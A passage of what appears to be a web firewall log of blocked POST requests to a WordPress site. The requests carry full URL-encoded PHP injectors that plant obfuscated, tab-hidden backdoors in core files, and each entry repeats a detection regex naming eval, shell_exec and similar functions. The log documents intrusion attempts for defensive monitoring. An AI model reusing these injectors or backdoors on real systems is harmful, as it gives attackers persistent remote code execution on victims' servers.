22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:49:08","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-post-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%253B%2520%2524ref%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524ref%2520%2529%253B%2520%2524token%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524ref%2529%253B%2520for%2520%2528%2524n%2520%253D%25200%253B%2520%2524n%2520%253C%2520%2524__len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v4%2520%253D%2520%2524ref%255B%2524n%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%25201%253B%2520%2524token%2520.%253D%2520chr%2528%2524d%2529%253B%2520%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520for%2520%2528%2524entry%2520%253D%25200%252C%2520%2524rec%2520%253D%2520count%2528%2524descriptor%2529%253B%2520%2524entry%2520%253C%2520%2524rec%253B%2520%2524entry%252B%252B%2529%2520%257B%2520%2524object%2520%253D%2520%2524descriptor%255B%2524entry%255D%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524object%2529%2520%257C%257C%2520%2521is_writable%2528%2524object%2529%2520%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524object\/.dat%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524k%252C%2520%2524token%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:4778\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE0HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?1\n\nGE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-post-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%253B%2520%2524ref%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524ref%2520%2529%253B%2520%2524token%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524ref%2529%253B%2520for%2520%2528%2524n%2520%253D%25200%253B%2520%2524n%2520%253C%2520%2524__len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v4%2520%253D%2520%2524ref%255B%2524n%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%25201%253B%2520%2524token%2520.%253D%2520chr%2528%2524d%2529%253B%2520%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520for%2520%2528%2524entry%2520%253D%25200%252C%2520%2524rec%2520%253D%2520count%2528%2524descriptor%2529%253B%2520%2524entry%2520%253C%2520%2524rec%253B%2520%2524entry%252B%252B%2529%2520%257B%2520%2524object%2520%253D%2520%2524descriptor%255B%2524entry%255D%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524object%2529%2520%257C%257C%2520%2521is_writable%2528%2524object%2529%2520%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524object\/.dat%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524k%252C%2520%2524token%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:49:12","129.121.41.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Zb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524token%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524rec%253D%2520%2527%2527%2520%253B%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524desc%2529%2529%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524desc%255B%2524o%255D%2529%2520%255E%252041%2529%253B%2524o%252B%252B%253B%257D%2520foreach%2520%2528%2524token%2520as%2520%2524key%2529%253A%2520if%2520%2528is_dir%2528%2524key%2529%2520%2526%2526%2520is_writable%2528%2524key%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524key%2522%2520.%2520%2522\/.object%2522%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524rec%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:3743\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJzVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nZb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524token%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524rec%253D%2520%2527%2527%2520%253B%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524desc%2529%2529%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524desc%255B%2524o%255D%2529%2520%255E%252041%2529%253B%2524o%252B%252B%253B%257D%2520foreach%2520%2528%2524token%2520as%2520%2524key%2529%253A%2520if%2520%2528is_dir%2528%2524key%2529%2520%2526%2526%2520is_writable%2528%2524key%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524key%2522%2520.%2520%2522\/.object%2522%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524rec%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:49:13","52.232.35.131","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Vi:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524token%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524rec%253D%2520%2527%2527%2520%253B%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524desc%2529%2529%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524desc%255B%2524o%255D%2529%2520%255E%252041%2529%253B%2524o%252B%252B%253B%257D%2520foreach%2520%2528%2524token%2520as%2520%2524key%2529%253A%2520if%2520%2528is_dir%2528%2524key%2529%2520%2526%2526%2520is_writable%2528%2524key%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524key%2522%2520.%2520%2522\/.object%2522%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524rec%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:3743\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIzxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nVi=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524token%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524rec%253D%2520%2527%2527%2520%253B%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524desc%2529%2529%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524desc%255B%2524o%255D%2529%2520%255E%252041%2529%253B%2524o%252B%252B%253B%257D%2520foreach%2520%2528%2524token%2520as%2520%2524key%2529%253A%2520if%2520%2528is_dir%2528%2524key%2529%2520%2526%2526%2520is_writable%2528%2524key%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524key%2522%2520.%2520%2522\/.object%2522%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524rec%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:49:16","43.230.201.87","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> eR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524token%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524rec%253D%2520%2527%2527%2520%253B%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524desc%2529%2529%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524desc%255B%2524o%255D%2529%2520%255E%252041%2529%253B%2524o%252B%252B%253B%257D%2520foreach%2520%2528%2524token%2520as%2520%2524key%2529%253A%2520if%2520%2528is_dir%2528%